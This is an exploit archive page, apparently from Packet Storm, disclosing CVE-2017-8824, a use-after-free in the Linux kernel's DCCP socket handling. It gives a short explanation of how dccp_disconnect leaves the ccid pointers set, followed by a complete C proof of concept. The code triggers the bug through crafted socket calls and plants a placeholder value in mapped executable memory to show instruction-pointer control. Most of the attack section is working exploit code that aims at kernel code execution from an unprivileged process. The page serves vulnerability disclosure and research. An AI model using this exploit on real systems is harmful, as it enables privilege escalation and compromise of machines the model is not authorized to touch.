Twenty Year Anniversary

Linux Kernel DCCP Socket Use-After-Free

Linux Kernel DCCP Socket Use-After-Free
Posted Dec 7, 2017
Authored by Mohamed Ghannam

The Linux kernel suffers from a DCCP socket use-after-free vulnerability.

tags | exploit, kernel
systems | linux
advisories | CVE-2017-8824
MD5 | cd3bda0f4bf247014b2b2b7aff568ff8

Linux Kernel DCCP Socket Use-After-Free

Change Mirror Download
/*
This is an announcement for CVE-2017-8824 which is a use-after-free
vulnerability

I found in Linux DCCP socket. It can be used to gain kernel code execution
from unprivileged processes.



Youall find in attachment the proof of concept code and the kernel panic
log.



####### BUG DETAILS ############



When a socket sock object is in DCCP_LISTEN state and connect() system
call is being called with AF_UNSPEC,

the dccp_disconnect() puts sock state into DCCP_CLOSED, and forgets to free
dccps_hc_rx_ccid/dccps_hc_tx_ccid and assigns NULL to them,

then when we call connect() again with AF_INET6 sockaddr family, the sock
object gets cloned via dccp_create_openreq_child() and returns a new sock
object,

which holds references of dccps_hc_rx_ccid and dccps_hc_tx_ccid of the old
sock object, and this leads to both the old and new sock objects can use
the same memory.



####### LINKS ############



http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-8824

http://lists.openwall.net/netdev/2017/12/04/224



####### CREDITS ############



Mohamed Ghannam
*/

/*This poc has been tested on my custom kernel reseach in ubuntu 4.10.5, the same thing applies to other versions
* if you don't see RIP control, that means file_security_alloc is not called, so we should look for other similar object
* */
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/mman.h>


int fd1,fd2;
struct sockaddr_in6 in1,in2;

int do_uaf()
{
struct sockaddr_in6 cin1,cin2;

fd1 = socket(0xa,6,0);

memset(&in1,0,sizeof(in1));
in1.sin6_family = AF_INET6;
in1.sin6_addr = in6addr_loopback;
in1.sin6_port = 0x214e;//htons(0x1000);
bind(fd1,(struct sockaddr*)&in1,sizeof(in1));

listen(fd1,0x1);

fd2 = socket(0xa,6,0);

memset(&cin1,0,sizeof(cin1));
cin1.sin6_family = AF_INET6;
cin1.sin6_addr = in6addr_loopback;
cin1.sin6_port = 0x214e;//htons(0x1000);
cin1.sin6_flowinfo = 0;
connect(fd2,(struct sockaddr*)&cin1,sizeof(cin1));

memset(&cin2,0,sizeof(cin2));
connect(fd1,(struct sockaddr*)&cin2,sizeof(cin2));
memset(&in2,0,sizeof(in2));

in2.sin6_family = AF_INET6;
in2.sin6_addr = in6addr_loopback;
in2.sin6_port = htons(0x2000);
in2.sin6_flowinfo = 0x2;
in2.sin6_scope_id = 6;
bind(fd2,(struct sockaddr*)&in2,sizeof(in2));

struct sockaddr_in6 cin3;
memset(&cin3,0,sizeof(cin3));
connect(fd2,(struct sockaddr*)&cin3,sizeof(cin3));

listen(fd2,0xb1);

struct sockaddr_in6 cin4;
memset(&cin4,0,sizeof(cin4));
cin4.sin6_family = AF_INET6;
cin4.sin6_port = htons(0x2000);//htons(0x3000);
memset(&cin4.sin6_addr,0,sizeof(struct in6_addr));
cin4.sin6_flowinfo = 1;
cin4.sin6_scope_id = 0x32f1;
connect(fd1,(struct sockaddr*)&cin4,sizeof(cin4));
return fd2;
}

void * alloc_umem(void *addr,size_t size)
{

addr = mmap((void*)0x100000000,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_SHARED|MAP_ANONYMOUS,-1,0);
if(addr == (char *)-1) {
perror("mmap");
return NULL;
}
return addr;
}
int main(void)
{
char *addr;

addr = (char *)alloc_umem((void*)0x100000000,4096);
if(addr == NULL)
exit(0);
memset(addr,0xcc,4096);
*(unsigned long *)(addr + 0x79) = 0xdeadbeef; /* RIP control */

do_uaf();
socket(AF_INET,SOCK_STREAM,0);
close(fd2);
return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    8 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    32 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    8 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close